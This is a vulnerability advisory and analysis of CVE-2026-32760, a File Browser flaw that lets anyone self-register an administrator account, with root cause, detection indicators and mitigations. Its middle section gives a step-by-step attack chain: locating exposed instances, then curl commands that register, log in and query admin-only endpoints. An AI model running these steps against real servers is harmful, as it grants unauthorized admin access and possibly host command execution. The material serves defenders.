CVE-2026-32760: 
NixOS vulnerability analysis and mitigation

CVE-2026-32760 is a critical authentication bypass and privilege escalation vulnerability in File Browser, a web-based file management interface. When self-registration (signup = true) is enabled and default user permissions include perm.admin = true, any unauthenticated visitor can register a full administrator account via the public /api/signup endpoint. The vulnerability affects File Browser versions 2.61.2 and below (Go module github.com/filebrowser/filebrowser/v2), and was disclosed on March 14, 2026, with a patch released the same day. It carries a CVSS v3.1 score of 9.8 (Critical) and a CVSS v4.0 score of 10.0 (Critical) (GitHub Advisory, Security Advisory).

The root cause is Improper Privilege Management (CWE-269) and Improper Access Control (CWE-284) in http/auth.go. The signupHandler creates a new user object and then calls d.settings.Defaults.Apply(user), which copies all default permissions — including Perm.Admin — directly onto the new account without any subsequent guard to strip administrative privileges from self-registered users. Because the Settings API (http/settings.go) allows administrators to set defaults.perm.admin = true, any misconfiguration (intentional or accidental) causes every account created through the public registration endpoint to inherit full admin rights. Exploitation requires no authentication, no special tools, and only a single HTTP POST request to /api/signup (GitHub Advisory, Fix Commit).

A successful exploit grants an unauthenticated attacker full administrator access to the File Browser instance, resulting in high confidentiality, integrity, and availability impact. The attacker can list, read, modify, and delete all files managed by the server; create, modify, and delete all user accounts; and alter server-wide authentication settings. If enableExec = true is configured, the attacker can also execute arbitrary commands on the underlying host, potentially enabling lateral movement beyond the File Browser service (Security Advisory).

A public proof-of-concept exploit (bash script using curl) is included in the official security advisory and demonstrates the full attack chain from account registration to admin API access (Security Advisory). The EPSS score is approximately 0.04% (0.000400), indicating low current exploitation probability, and there is no evidence of in-the-wild exploitation or threat actor attribution at this time. The vulnerability is not listed in the CISA KEV catalog. Exploitation is fully automated and requires no privileges or user interaction, making it trivially weaponizable against any misconfigured instance exposed to the network (GitHub Advisory).

1. Reconnaissance: Identify internet-facing File Browser instances (versions ≤ 2.61.2) using tools like Shodan or Censys, searching for the File Browser web UI or API endpoints. Confirm the instance has self-registration enabled by checking if POST /api/signup returns a non-404 response.
2. Register attacker account: Send a POST request to the public signup endpoint with chosen credentials:

curl -s -X POST http://<TARGET>/api/signup \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Attack3r!pass"}'

3. Authenticate: Log in with the newly created account to obtain an authentication token:

ATTACKER_TOKEN=$(curl -s -X POST http://<TARGET>/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Attack3r!pass"}')

4. Verify admin access: Confirm the account has administrator privileges by accessing admin-only endpoints:

curl -s http://<TARGET>/api/users -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
curl -s http://<TARGET>/api/settings -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

5. Achieve objective: With full admin access, the attacker can read/modify/delete all files, manage all user accounts, change server settings, or (if enableExec = true) execute arbitrary commands on the host (Security Advisory).

• Network: Unexpected POST /api/signup requests from external or unknown IP addresses; subsequent POST /api/login from the same IP immediately after signup; access to admin-only endpoints (/api/users, /api/settings) from newly registered accounts.
• Logs: File Browser access logs showing a new account registration followed immediately by successful login and access to /api/users or /api/settings from the same source IP; HTTP 200 responses to /api/signup from unauthenticated external clients.
• Application State: Unexpected new user accounts in the File Browser user database, particularly accounts created at unusual hours or from external IPs; changes to server settings (e.g., authentication method, default permissions) not initiated by known administrators.
• File System: Unexpected file uploads, deletions, or modifications in the File Browser-managed directory; new files with suspicious names or extensions placed in the served directory.

Upgrade File Browser to version 2.62.0 or later, which adds an explicit user.Perm.Admin = false reset in the signupHandler after applying defaults, preventing self-registered accounts from ever receiving admin privileges (Fix Commit, Release v2.62.0). As interim workarounds until patching is possible: (1) disable self-registration by setting signup = false in the configuration, or (2) ensure default user permissions do not include admin privileges by setting defaults.perm.admin = false. Administrators should also audit existing user accounts for unexpected admin-level accounts created via the signup endpoint (Security Advisory).

Security Online Info covered the vulnerability with the headline "Instant Hijack: Critical 10 CVSS File Browser Flaw CVE-2026-32760," highlighting the severity and ease of exploitation (SecurityOnline). The vulnerability was also noted in threat intelligence digests, including a NCSA cyber threat intelligence bulletin from March 18, 2026. OpenSUSE issued a security announcement referencing the issue, and it was picked up by Linux security advisory aggregators. Community reaction on platforms like Bluesky noted the critical CVSS score and the straightforward nature of the exploit.